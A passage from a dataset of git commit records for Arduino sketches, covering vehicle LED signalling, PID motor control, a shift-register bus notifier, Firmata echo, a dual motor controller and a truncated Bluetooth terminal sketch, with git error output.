}\n}\n\n\nvoid updateAmbers() {\n if(amberCount == NUM_LEDS_FRONT_TOP+1){\n amberCount = 0;\n }\n amberCount++;\n stateChanged = true;\n}\n\n\nvoid updateLEDs() {\n stripStarter.clear();\n stripFrontLeft.clear();\n stripFrontRight.clear();\n stripRear.clear();\n \n switch(ledState) {\n case BLANK:\n \/\/ do nothing\n break;\n \n case HAZARD:\n for (int i = 0; i < amberCount; i++){\n stripFrontLeft.setPixelColor(NUM_LEDS_FRONT_TOP-i, amber);\n stripFrontRight.setPixelColor(NUM_LEDS_FRONT_TOP-i, amber);\n }\n for (int i = 0; i < amberCount; i++){\n stripRear.setPixelColor(rearLeftTopLEDs[i], amber);\n stripRear.setPixelColor(rearLeftBottomLEDs[i], amber);\n stripRear.setPixelColor(rearRightTopLEDs[i], amber);\n stripRear.setPixelColor(rearRightBottomLEDs[i], amber);\n }\n break;\n \n case LEFT:\n for (int i = 0; i < amberCount; i++){\n stripFrontLeft.setPixelColor(NUM_LEDS_FRONT_TOP-i, amber);\n }\n for (int i = 0; i < amberCount; i++){\n stripRear.setPixelColor(rearLeftTopLEDs[i], amber);\n stripRear.setPixelColor(rearLeftBottomLEDs[i], amber);\n }\n break;\n \n case RIGHT:\n for (int i = 0; i < amberCount; i++){\n stripFrontRight.setPixelColor(NUM_LEDS_FRONT_TOP-i, amber);\n }\n for (int i = 0; i < amberCount; i++){\n stripRear.setPixelColor(rearRightTopLEDs[i], amber);\n stripRear.setPixelColor(rearRightBottomLEDs[i], amber);\n }\n break;\n \n case HL:\n for (int i = 0; i < NUM_LEDS_FRONT; i++){\n stripFrontRight.setPixelColor(i, fullwhite);\n stripFrontLeft.setPixelColor(i, fullwhite);\n }\n for (int i = 0; i < NUM_LEDS_REAR; i++){\n stripRear.setPixelColor(i, halfred);\n }\n break;\n \n case HL_HAZARD:\n for (int i = 0; i < NUM_LEDS_FRONT; i++){\n stripFrontRight.setPixelColor(i, fullwhite);\n stripFrontLeft.setPixelColor(i, fullwhite);\n }\n for (int i = 0; i < NUM_LEDS_REAR; i++){\n stripRear.setPixelColor(i, halfred);\n }\n for (int i = 0; i < amberCount; i++){\n stripFrontLeft.setPixelColor(NUM_LEDS_FRONT_TOP-i, amber);\n stripFrontRight.setPixelColor(NUM_LEDS_FRONT_TOP-i, amber);\n }\n for (int i = 0; i < amberCount; i++){\n stripRear.setPixelColor(rearLeftTopLEDs[i], amber);\n stripRear.setPixelColor(rearLeftBottomLEDs[i], amber);\n stripRear.setPixelColor(rearRightTopLEDs[i], amber);\n stripRear.setPixelColor(rearRightBottomLEDs[i], amber);\n }\n break;\n \n case HL_LEFT:\n for (int i = 0; i < NUM_LEDS_FRONT; i++){\n stripFrontRight.setPixelColor(i, fullwhite);\n stripFrontLeft.setPixelColor(i, fullwhite);\n }\n for (int i = 0; i < NUM_LEDS_REAR; i++){\n stripRear.setPixelColor(i, halfred);\n }\n for (int i = 0; i < amberCount; i++){\n stripFrontLeft.setPixelColor(NUM_LEDS_FRONT_TOP-i, amber);\n }\n for (int i = 0; i < amberCount; i++){\n stripRear.setPixelColor(rearLeftTopLEDs[i], amber);\n stripRear.setPixelColor(rearLeftBottomLEDs[i], amber);\n }\n case HL_RIGHT:\n for (int i = 0; i < NUM_LEDS_FRONT; i++){\n stripFrontRight.setPixelColor(i, fullwhite);\n stripFrontLeft.setPixelColor(i, fullwhite);\n }\n for (int i = 0; i < NUM_LEDS_REAR; i++){\n stripRear.setPixelColor(i, halfred);\n }\n for (int i = 0; i < amberCount; i++){\n stripFrontRight.setPixelColor(NUM_LEDS_FRONT_TOP-i, amber);\n }\n for (int i = 0; i < amberCount; i++){\n stripRear.setPixelColor(rearRightTopLEDs[i], amber);\n stripRear.setPixelColor(rearRightBottomLEDs[i], amber);\n }\n }\n\n if (brakeState) {\n for (int i = 0; i < NUM_LEDS_REAR; i++){\n stripRear.setPixelColor(i, fullred);\n }\n }\n stripStarter.show();\n stripFrontLeft.show();\n stripFrontRight.show();\n stripRear.show();\n}\n\nvoid parseLEDState() {\n if(!headlightState) { \/\/ headlights off\n if(hazardState) {\n ledState = HAZARD;\n } else if (leftState) {\n ledState = LEFT;\n } else if (rightState) {\n ledState = RIGHT;\n } else {\n ledState = BLANK;\n }\n } else { \/\/ headlights on\n if(hazardState) {\n ledState = HL_HAZARD;\n } else if (leftState) {\n ledState = HL_LEFT;\n } else if (rightState) {\n ledState = HL_RIGHT;\n } else {\n ledState = HL;\n }\n }\n}\n\n\/\/ STEERING WHEEL TRIGGERS\nvoid leftSignalTrigger() {\n Serial.println(\"Left signal pressed\");\n leftState = !leftState;\n stateChanged = true;\n}\n\nvoid rightSignalTrigger() {\n Serial.println(\"Right signal pressed\");\n rightState = !rightState;\n stateChanged = true;\n}\n\nvoid hornTrigger() {\n Serial.println(\"Horn pressed\");\n hornState = !hornState;\n digitalWrite(hornRelayPin, !hornState);\n}\n\nvoid PTTTrigger() {\n Serial.println(\"PTT pressed\");\n}\n\nvoid lapCounterTrigger() {\n Serial.println(\"Lap counter pressed\");\n}\n\n\n\/\/ BUTTON CLUSTER TRIGGERS\nvoid ignitionTrigger(){\n Serial.println(\"Ignition pressed\");\n ignitionState = !ignitionState;\n digitalWrite(ignitionRelayPin, !ignitionState);\n}\n\nvoid ignitionReleaseTrigger() {\n Serial.println(\"Ignition released\");\n digitalWrite(hornRelayPin, HIGH);\n}\n\nvoid hazardTrigger() {\n Serial.println(\"Hazard pressed\");\n hazardState = !hazardState;\n stateChanged = true;\n}\n\nvoid wiperTrigger() {\n Serial.println(\"Wiper pressed\");\n wiperState = !wiperState;\n digitalWrite(wiperRelayPin, !wiperState);\n}\n\nvoid headlightTrigger() {\n Serial.println(\"Headlight pressed\");\n headlightState = !headlightState;\n stateChanged = true;\n}\n\n\n\/\/ LIMIT SWITCHES\nvoid brakeTrigger() {\n Serial.println(\"Brake pressed\");\n brakeState = !brakeState;\n stateChanged = true;\n}\n\nvoid clutchTrigger() {\n Serial.println(\"Clutch pressed\");\n clutchState = !clutchState;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'evos_arduino_button\/evos_arduino_button.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b5e91cbbb7cfb6399ed480e00c97fafd4e77eee7","subject":"Added TestMotors example","message":"Added TestMotors example\n","repos":"DrGFreeman\/RasPiBot202V2,DrGFreeman\/RasPiBot202V2","old_file":"examples\/TestMotors\/TestMotors.ino","new_file":"examples\/TestMotors\/TestMotors.ino","new_contents":"\/*\nTestMotors.ino\nSource: https:\/\/github.com\/DrGFreeman\/RasPiBot202.V2\n\nMIT License\n\nCopyright (c) 2017 Julien de la Bruere-Terreault <drgfreeman@tuta.io>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n\/*\nTest motors\n*\/\n\n#include <AStar32U4.h>\n#include <AStarEncoders.h>\n#include <Odometer.h>\n#include <TimedPID.h>\n\n\/\/ Define robot geometrical properties\n\/\/ Distance travelled per encoder tick\nconst float tickDist = .152505;\n\/\/ Width between the two wheels\nconst float track = 142.5;\n\n\/\/ Define motor PID gains\nconst float Kp = 1.0; \/\/ 2.0\nconst float Ki = 6.0; \/\/ 5.0\nconst float Kd = 0.01;\n\n\/\/ Define motors max command\nconst float motorsMaxCommand = 400;\n\n\/\/ Define motor trims in 1\/40\nconst int leftTrim = 30;\nconst int rightTrim = 40;\n\n\/\/ Define speed variables for acceleration control\nint lastSpeedCmdLeft = 0;\nint lastSpeedCmdRight = 0;\n\n\/\/ Define maximum speed command change per time step\nconst int accelMax = 20;\n\n\/\/ Define different objects from RasPiBot202V2 library\nAStarEncoders encoders;\nOdometer odometer(tickDist, track);\nTimedPID PIDLeft(Kp, Ki, Kd);\nTimedPID PIDRight(Kp, Ki, Kd); \n\n\/\/ Define objects from AStar32U4 library\nAStar32U4Motors motors;\nAStar32U4ButtonA btnA;\nAStar32U4ButtonB btnB;\nAStar32U4ButtonC btnC;\n\n\/\/ Define variables used for target speed generation and time step calculation\nunsigned long initialTime;\nunsigned long lastTime;\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ Set encoders directions\n encoders.flipDirection(false, true);\n\n \/\/ Set PID controllers command range\n PIDLeft.setCmdRange(-motorsMaxCommand, motorsMaxCommand);\n PIDRight.setCmdRange(-motorsMaxCommand, motorsMaxCommand);\n\n \/\/ Initialize time variables\n initialTime = micros();\n lastTime = initialTime;\n delay(10);\n}\n\nvoid loop() {\n\n \/\/ Calculate the time step between passes of the main loop\n \/\/ Get current time\n unsigned long currentTime = micros();\n \/\/ Calculate time step in seconds (micro seconds \/ 1 000 000)\n float timeStep = float(currentTime - lastTime) \/ 1E6;\n \/\/ Store current time as last time for next pass of the loop\n lastTime = currentTime;\n\n \/\/ Define the target speed as function of time\n float targetSpeed = 0;\n if (currentTime - initialTime > 8E6){\n \/\/ Reset initial time\n initialTime = currentTime;\n }\n else if (currentTime - initialTime > 7E6)\n {\n targetSpeed = 250;\n }\n else if (currentTime - initialTime > 5E6)\n {\n targetSpeed = 200;\n }\n else if (currentTime - initialTime > 3E6) {\n targetSpeed = 250;\n }\n \/\/ Add continuous variation of the target speed\n targetSpeed += 25 * sin(micros() \/ 2.5E5);\n\n \/\/ Print actual motor speeds from odometer\n Serial.print(odometer.getSpeedRight());\n Serial.print(\"\\t\");\n Serial.print(odometer.getSpeedLeft());\n\n \/\/ Press button A to control motors with a variable target speed\n if (btnA.isPressed())\n {\n setMotorSpeeds(targetSpeed, targetSpeed);\n Serial.print(\"\\t\");\n Serial.println(targetSpeed);\n }\n \/\/ Press button B to control motors with a fixed target speed\n else if (btnB.isPressed())\n {\n setMotorSpeeds(300, 300);\n Serial.print(\"\\t\");\n Serial.println(300);\n }\n else\n {\n setMotorSpeeds(0, 0);\n Serial.print(\"\\t\");\n Serial.println(0);\n }\n\n \/\/ Ensure a constant time step of the main loop (10 milliseconds)\n while (micros() - currentTime < 10000)\n {\n \/\/ Wait until time step is reached\n }\n}\n\n\/\/ Sets the motor speeds using PID controllers\nvoid setMotorSpeeds(int speedLeft, int speedRight)\n{\n \/\/ Read odometer counts\n int countsLeft = encoders.getCountsLeft();\n int countsRight = encoders.getCountsRight();\n\n \/\/ Update odometer\n odometer.update(countsLeft, countsRight);\n\n \/\/ get speed command from PID controllers\n int speedCmdLeft = PIDLeft.getCmdAutoStep(speedLeft, odometer.getSpeedLeft());\n int speedCmdRight = PIDRight.getCmdAutoStep(speedRight, odometer.getSpeedRight());\n\n \/\/ Handle speed commands\n\n \/\/ Control maximum acceleration\n if (speedCmdLeft - lastSpeedCmdLeft > accelMax)\n {\n speedCmdLeft = lastSpeedCmdLeft + accelMax;\n }\n if (speedCmdLeft - lastSpeedCmdLeft < -accelMax)\n {\n speedCmdLeft = lastSpeedCmdLeft - accelMax;\n }\n if (speedCmdRight - lastSpeedCmdRight > accelMax)\n {\n speedCmdRight = lastSpeedCmdRight + accelMax;\n }\n if (speedCmdRight - lastSpeedCmdRight < -accelMax)\n {\n speedCmdRight = lastSpeedCmdRight - accelMax;\n }\n\n \/\/ Stop immediately if target speed is zero\n if (speedLeft == 0)\n {\n speedCmdLeft = 0;\n PIDLeft.reset();\n }\n if (speedRight == 0)\n {\n speedCmdRight = 0;\n PIDRight.reset();\n }\n\n \/\/ Set motor speeds\n motors.setSpeeds(speedCmdLeft * leftTrim \/ 40, speedCmdRight * rightTrim \/ 40);\n\n lastSpeedCmdLeft = speedCmdLeft;\n lastSpeedCmdRight = speedCmdRight;\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TestMotors\/TestMotors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"36c8e1a328858f09b53c4113e4bca23d3bbc2285","subject":"Add Paperweight LEDs","message":"Add Paperweight LEDs\n\nAdd Paperweight LEDs with a shift register. Serial messages to come.\n","repos":"PiJoules\/Septa-Notifier,PiJoules\/Septa-Notifier,PiJoules\/Septa-Notifier,PiJoules\/PhillyCodeFest2016,PiJoules\/PhillyCodeFest2016,PiJoules\/PhillyCodeFest2016,PiJoules\/PhillyCodeFest2016,PiJoules\/Septa-Notifier","old_file":"paperweight\/Paperweight\/Paperweight.ino","new_file":"paperweight\/Paperweight\/Paperweight.ino","new_contents":"const int PIN_DATA = 4;\nconst int PIN_LATCH = 3;\nconst int PIN_CLOCK = 2;\n\nbyte arrivalStatus = 1;\n\nvoid setup() {\n pinMode(PIN_DATA, OUTPUT);\n pinMode(PIN_CLOCK, OUTPUT);\n pinMode(PIN_LATCH, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(PIN_LATCH, LOW);\n shiftOut(PIN_DATA, PIN_CLOCK, MSBFIRST, arrivalStatus);\n digitalWrite(PIN_LATCH, HIGH);\n simulate_motion();\n}\n\n\/**\n * Pretend Update arrivalStatus as if this\n * was a bus that is getting closer to the\n * desired stop\n *\/\nvoid simulate_motion() {\n arrivalStatus <<= 1;\n if (!arrivalStatus)\n arrivalStatus = 1;\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'paperweight\/Paperweight\/Paperweight.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"913e17066c5e6931b1fb6a3f173045e00fc204a2","subject":"Added a fade example","message":"Added a fade example\n","repos":"michael-gillett\/rgb-controls,michael-gillett\/rgb-controls-particle","old_file":"firmware\/examples\/fade_example.ino","new_file":"firmware\/examples\/fade_example.ino","new_contents":"#include \"rgb-controls\/rgb-controls.h\"\n\nusing namespace RGBControls;\n\nLed led(D0, D1, D2);\nColor red(255, 0, 0);\nColor blue(255, 0, 0);\n\nvoid loop() {\n led.fade(red, blue);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/fade_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e01214bc5a0e31192dd2c02d15e6efaa6cf17d1d","subject":"Added EchoString.ino firmata firmware for testing","message":"Added EchoString.ino firmata firmware for testing\n","repos":"juliancheal\/ruby-lpd8806","old_file":"EchoString\/EchoString.ino","new_file":"EchoString\/EchoString.ino","new_contents":"\/*\n * Firmata is a generic protocol for communicating with microcontrollers\n * from software on a host computer. It is intended to work with\n * any host computer software package.\n *\n * To download a host software package, please clink on the following link\n * to open the download page in your default browser.\n *\n * http:\/\/firmata.org\/wiki\/Download\n *\/\n\n\/* This sketch accepts strings and raw sysex messages and echos them back.\n *\n * This example code is in the public domain.\n *\/\n#include <Firmata.h>\n\nvoid stringCallback(char *myString)\n{\n Firmata.sendString(myString);\n}\n\n\nvoid sysexCallback(byte command, byte argc, byte*argv)\n{\n Firmata.sendSysex(command, argc, argv);\n}\n\nvoid setup()\n{\n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n Firmata.attach(STRING_DATA, stringCallback);\n Firmata.attach(START_SYSEX, sysexCallback);\n Firmata.begin(57600);\n}\n\nvoid loop()\n{\n while(Firmata.available()) {\n Firmata.processInput();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'EchoString\/EchoString.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e35d355c21ee2b51cdb874d975a1009d27d4060","subject":"DEFUNCT AS OF 10\/18\/16","message":"DEFUNCT AS OF 10\/18\/16","repos":"RoCTCNJ\/FireFighter","old_file":"Fan Testing.ino","new_file":"Fan Testing.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Fan' did not match any file(s) known to git\nerror: pathspec 'Testing.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22f834b2ccb8379f323964b6225d748ce517e9aa","subject":"MCodez","message":"MCodez\n\nDummy Serial Code","repos":"MCodez\/PyQt","old_file":"dummyserial.ino","new_file":"dummyserial.ino","new_contents":" \/* \n * Demo Code for sending 5 sensors readings.. \n *\/\n float a=10;\n float b=12;\n float c=15;\n float d=16;\n float e=20;\nvoid setup() {\nSerial.begin(115200);\n}\n\nvoid loop() {\na=a+1;\nb=b+1;\nc=c+1;\nd=d+1;\ne=e+1;\n\nSerial.print(a);\nSerial.print(\" \");\nSerial.print(b);\nSerial.print(\" \");\nSerial.print(c);\nSerial.print(\" \");\nSerial.print(d);\nSerial.print(\" \");\nSerial.print(e);\nSerial.print(\" \");\nSerial.println();\ndelay(500);\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dummyserial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"241efa9142c27292783371210be4396a387c223f","subject":"update","message":"update\n","repos":"ada\/ws,ada\/ws,ada\/ws,ada\/ws,ada\/ws","old_file":"test-ESP8266-server\/test-ESP8266-server.ino","new_file":"test-ESP8266-server\/test-ESP8266-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ada\/ws.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9145d41094a6d71edee299dfe352c8ece0c2161f","subject":"Editing sonar Arduino code","message":"Editing sonar Arduino code\n","repos":"GW-Robotics\/2017-Fire-Fighter,GW-Robotics\/2017-Fire-Fighter,GW-Robotics\/2017-Fire-Fighter","old_file":"arduino\/HC_SR04 test.ino","new_file":"arduino\/HC_SR04 test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/HC_SR04' did not match any file(s) known to git\nerror: pathspec 'test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6b5150e3feb69af9d34dfc09acf5e110a6db470c","subject":"added sensitivity switch","message":"added sensitivity switch\n\n:)\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsTX_EZ\/MotorsTX_EZ.ino","new_file":"Motor Code\/MotorsTX_EZ\/MotorsTX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsTX_EZ\/MotorsTX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fa74d6a59ea20dbf6031454351097c45da518b83","subject":"Changed 'evapFanPin' to 'evapFanPinState' for shutterOperation();","message":"Changed 'evapFanPin' to 'evapFanPinState'\nfor shutterOperation();\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"4zones\/app.ino","new_file":"4zones\/app.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6693f9b8db9b52e361a042af28cd90092078fafc","subject":"Programmerings opgave 1 leksion 1","message":"Programmerings opgave 1 leksion 1\n","repos":"drblah\/RoboCup,drblah\/RoboCup","old_file":"Programmerings opgaver\/Opgave01\/Opgave01.ino","new_file":"Programmerings opgaver\/Opgave01\/Opgave01.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programmerings' did not match any file(s) known to git\nerror: pathspec 'opgaver\/Opgave01\/Opgave01.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ac80fa8b3ac328e58167453f4499a9f0506d83f6","subject":"added test files for arduino","message":"added test files for arduino\n","repos":"Sanderi44\/Arduino_Yun_Comm,Sanderi44\/Arduino_Yun_Comm","old_file":"test_comm\/test_comm.ino","new_file":"test_comm\/test_comm.ino","new_contents":"#include <RelayDevice.h>\n\n\nbool START_FLAG = false;\nRelayDevice *relay;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n relay = new RelayDevice();\n Serial.begin(9600);\n Serial.flush();\n Serial1.flush();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n Serial.println(START_FLAG);\n String command = relay->cmd();\n if (command != \"NONE\"){\n \/\/Serial.println(command);\n }\n START_FLAG = aamsCommandHandler(START_FLAG, command);\n delay(50);\n}\n\n\nbool aamsCommandHandler(bool START_FLAG, String command){\n if (command != \"NONE\"){\n Serial.print(\"ARDUINO_DOES: \");\n Serial.println(command);\n }\n if (command.startsWith(\"CONNECT\")){\n relay->sendCmd(\"connect\");\n Serial.println(\"ARDUINO SEND: CONNECT\");\n } else if (command.startsWith(\"READY\")){\n relay->sendCmd(\"start\");\n Serial.println(\"ARDUINO SEND: START\");\n } else if (command.startsWith(\"START\")){\n Serial.println(\"ARDUINO SET: START_FLAG - TRUE\");\n START_FLAG = true;\n } else if (command.startsWith(\"STOP\")){\n Serial.println(\"ARDUINO SET: START_FLAG - FALSE\");\n START_FLAG = false;\n } else if (command.startsWith(\"DISCONNECT\")){\n Serial.println(\"ARDUINO SET: START_FLAG - FALSE, DISCONNECT\");\n START_FLAG = false;\n }\n return START_FLAG;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_comm\/test_comm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"533d5f0027fae177bb65a8b86abb9e19cca7923f","subject":"Added Arduino code Communication and motor controller.","message":"Added Arduino code\nCommunication and motor controller.\n\nSigned-off-by: Guadalupe Bernal <3ba124e7807a1b32b6dab461294c1db5393e5b0d@gmail.com>\n","repos":"guadabernal\/Avalanche,guadabernal\/Avalanche,guadabernal\/Avalanche","old_file":"software\/arduino\/motorController\/motorController.ino","new_file":"software\/arduino\/motorController\/motorController.ino","new_contents":"#define BRAKEVCC 0\n#define CW 1\n#define CCW 2\n#define BRAKEGND 3\n#define CS_THRESHOLD 100\n\n\/* VNH2SP30 pin definitions\n xxx[0] controls '1' outputs\n xxx[1] controls '2' outputs *\/\nint inApin[2] = {7, 4}; \/\/ INA: Clockwise input\nint inBpin[2] = {8, 9}; \/\/ INB: Counter-clockwise input\nint pwmpin[2] = {5, 6}; \/\/ PWM input\nint cspin[2] = {2, 3}; \/\/ CS: Current sense ANALOG input\nint enpin[2] = {0, 1}; \/\/ EN: Status of switches output (Analog pin)\nint statpin = 13;\n\n\nvoid setup()\n{\n pinMode(statpin, OUTPUT);\n \/\/ Initialize digital pins as outputs\n for (int i=0; i<2; i++)\n {\n pinMode(inApin[i], OUTPUT);\n pinMode(inBpin[i], OUTPUT);\n pinMode(pwmpin[i], OUTPUT);\n }\n \/\/ Initialize braked\n for (int i=0; i<2; i++)\n {\n digitalWrite(inApin[i], LOW);\n digitalWrite(inBpin[i], LOW);\n }\n digitalWrite(statpin, HIGH);\n Serial.begin(57600); \/\/the connection to the computer via USB\n Serial1.begin(57600); \/\/serial is the bluetooth from the controller\n} \n\n\nlong t0 = 0;\nbool motoroff = true;\nbool modeGamepad = false;\n\nvoid loop() {\n long t1 = millis();\n int n = Serial1.available();\n if (n >= 4) {\n int16_t v[2] = {0}; \/\/-128..127 \n Serial1.readBytes((char*)v, 4);\n \n if (v[0] == 1024){\n modeGamepad =! modeGamepad;\n return; \n }\n if (modeGamepad){\n setThrottle(v[0], v[1]);\n t1 = millis();\n t0 = t1;\n motoroff=false;\n } \n }\n if (!modeGamepad){\n int n = Serial.available();\n if (n >= 4) {\n int16_t v[2] = {0}; \/\/-128..127 \n Serial.readBytes((char*)v, 4);\n setThrottle(v[0], v[1]);\n t1 = millis();\n t0 = t1; \n motoroff=false; \n }\n }\n\n if (t1 - t0 > 100 && !motoroff) {\n int16_t v[2] = {0}; \/\/-128..127 \n n = Serial1.available();\n if (n > 0) Serial1.readBytes((char*)v, n);\n n = Serial.available();\n if (n > 0) Serial.readBytes((char*)v, n);\n setThrottle(0, 0); \n motoroff = true; \n } \n delay(5);\n}\n\n\nvoid motorOff(int motor)\n{\n \/\/ Initialize braked\n for (int i=0; i<2; i++)\n {\n digitalWrite(inApin[i], LOW);\n digitalWrite(inBpin[i], LOW);\n }\n analogWrite(pwmpin[motor], 0);\n}\n\n\/* motorGo() will set a motor going in a specific direction\n the motor will continue going in that direction, at that speed\n until told to do otherwise.\n \n motor: this should be either 0 or 1, will selet which of the two\n motors to be controlled\n \n direct: Should be between 0 and 3, with the following result\n 0: Brake to VCC\n 1: Clockwise\n 2: CounterClockwise\n 3: Brake to GND\n \n pwm: should be a value between ? and 1023, higher the number, the faster\n it'll go\n *\/\n void setThrottle(float TL, float TR) {\n if (TL >= 0) {\n digitalWrite(inApin[0], HIGH);\n digitalWrite(inBpin[0], LOW);\n } else {\n digitalWrite(inApin[0], LOW);\n digitalWrite(inBpin[0], HIGH);\n }\n\n if (TR >= 0) {\n digitalWrite(inApin[1], HIGH);\n digitalWrite(inBpin[1], LOW);\n }\n else {\n digitalWrite(inApin[1], LOW);\n digitalWrite(inBpin[1], HIGH);\n }\n analogWrite(pwmpin[0], abs(TL));\n analogWrite(pwmpin[1], abs(TR));\n}\n\n\nvoid motorGo(uint8_t motor, uint8_t direct, uint8_t pwm)\n{\n if (motor <= 1)\n {\n if (direct <=4)\n {\n \/\/ Set inA[motor]\n if (direct <=1)\n digitalWrite(inApin[motor], HIGH);\n else\n digitalWrite(inApin[motor], LOW);\n\n \/\/ Set inB[motor]\n if ((direct==0)||(direct==2))\n digitalWrite(inBpin[motor], HIGH);\n else\n digitalWrite(inBpin[motor], LOW);\n\n analogWrite(pwmpin[motor], pwm);\n }\n }\n}\n\n\n\n\n\n\/\/ if (n >= 4) {\n\/\/ int16_t v[2] = {0}; \/\/-128..127 \n\/\/ Serial.readBytes((char*)v, 4);\n\/\/ setThrottle(v[0], v[1]);\n\/\/ \/\/t1 = millis();\n\/\/ t0 = t1;\n\/\/ \n\/\/ Serial1.print(v[0]);\n\/\/ Serial1.print(\" \");\n\/\/ Serial1.print(v[1]);\n\/\/ Serial1.print(\" \"); \n\/\/ Serial1.print(n);\n\/\/ Serial1.println(\" <<<<<<<<<<<<<<<<<<<<\");\n\/\/ \n\/\/ motoroff=false;\n\/\/ }\n\/\/\n\/\/ \/\/if (ix % 100 == 0) Serial.println(ix);\n\/\/ if (t1 - t0 > 100 && !motoroff) {\n\/\/ int16_t v[2] = {0}; \/\/-128..127 \n\/\/ n = Serial.available();\n\/\/ if (n > 0) Serial.readBytes((char*)v, n);\n\/\/ n = Serial.available();\n\/\/ setThrottle(0, 0);\n\/\/ Serial1.print(n); \n\/\/ Serial1.println(\" >>>>>>>>>>>>>>>>>>>\"); \n\/\/ \n\/\/ motoroff = true; \n\/\/ } \n\/\/ delay(5);\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/arduino\/motorController\/motorController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c1cad10e01b2694c14d599c576e8e8b8c892bca3","subject":"Create bt_terminal.ino","message":"Create bt_terminal.ino","repos":"gokselpirnal\/arduino-terminal-command","old_file":"bt_terminal.ino","new_file":"bt_terminal.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Servo.h>\n\nString chars[] = {\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"\n };\n\nString alphabet[] = {\n \" .-\",\n \"-...\",\n \"-.-.\",\n \" -..\",\n \" .\",\n \"..-.\",\n \" --.\",\n \"....\",\n \" ..\",\n \".---\",\n \" -.-\",\n \".-..\",\n \" --\",\n \" -.\",\n \" ---\",\n \".--.\",\n \"--.-\",\n \" .-.\",\n \" ...\",\n \" -\",\n \" ..-\",\n \"...-\",\n \" .--\",\n \"-..-\",\n \"-.--\",\n \"--..\"\n};\n\ntypedef void (*func) (String cmd);\n\nSoftwareSerial bt(9, 10); \/\/ (tx,rx)\n\n\/\/ key value struct\nstruct key_func {\n String key;\n func fn;\n};\n\n\/\/ function declerations\nint getIntParam(String, String, int);\nboolean isExistParam(String, String);\nvoid blink(String);\nvoid servo(String);\nvoid laser(String);\nvoid listenBluetooth();\nvoid listenSerial();\n\n\/\/ commands array\nkey_func func_map[3];\n\nvoid setup() {\n bt.begin(9600);\n bt.println(\"AT+NAMEGox\");\n Serial.begin(19200);\n\n \/\/ key and function name must be same\n func_map[0].key = \"blink\"; \/\/ command name\n func_map[0].fn = blink; \/\/ command function\n\n func_map[1].key = \"servo\";\n func_map[1].fn = servo;\n\n func_map[2].key 